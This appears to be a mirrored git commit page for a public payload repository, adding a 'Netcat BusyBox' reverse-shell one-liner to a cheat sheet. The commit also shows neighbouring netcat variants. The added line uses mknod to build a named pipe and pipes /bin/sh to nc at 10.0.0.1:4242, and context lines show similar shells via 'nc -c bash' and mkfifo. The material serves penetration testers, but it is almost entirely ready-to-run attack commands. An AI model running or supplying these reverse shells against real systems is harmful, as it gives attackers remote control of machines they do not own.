mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-12 14:22:47 +00:00
Added Netcat BusyBox
Some embedded systems like busybox won't have mkfifo present; instead, they will have mknod. This updated code can spawn reverse shell in systems that use mknod instead of mkfifo.
This commit is contained in:
parent
4f89c0a6d2
commit
059a866fd2
1 changed files with 7 additions and 0 deletions
|
@ -17,6 +17,7 @@
|
|||
* [Lua](#lua)
|
||||
* [Ncat](#ncat)
|
||||
* [Netcat OpenBsd](#netcat-openbsd)
|
||||
* [Netcat BusyBox](#netcat-busybox)
|
||||
* [Netcat Traditional](#netcat-traditional)
|
||||
* [NodeJS](#nodejs)
|
||||
* [OpenSSL](#openssl)
|
||||
|
@ -157,6 +158,12 @@ nc -c bash 10.0.0.1 4242
|
|||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||
```
|
||||
|
||||
### Netcat BusyBox
|
||||
|
||||
```bash
|
||||
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||
```
|
||||
|
||||
### Ncat
|
||||
|
||||
```bash
|
||||
|
|
Loading…
Reference in a new issue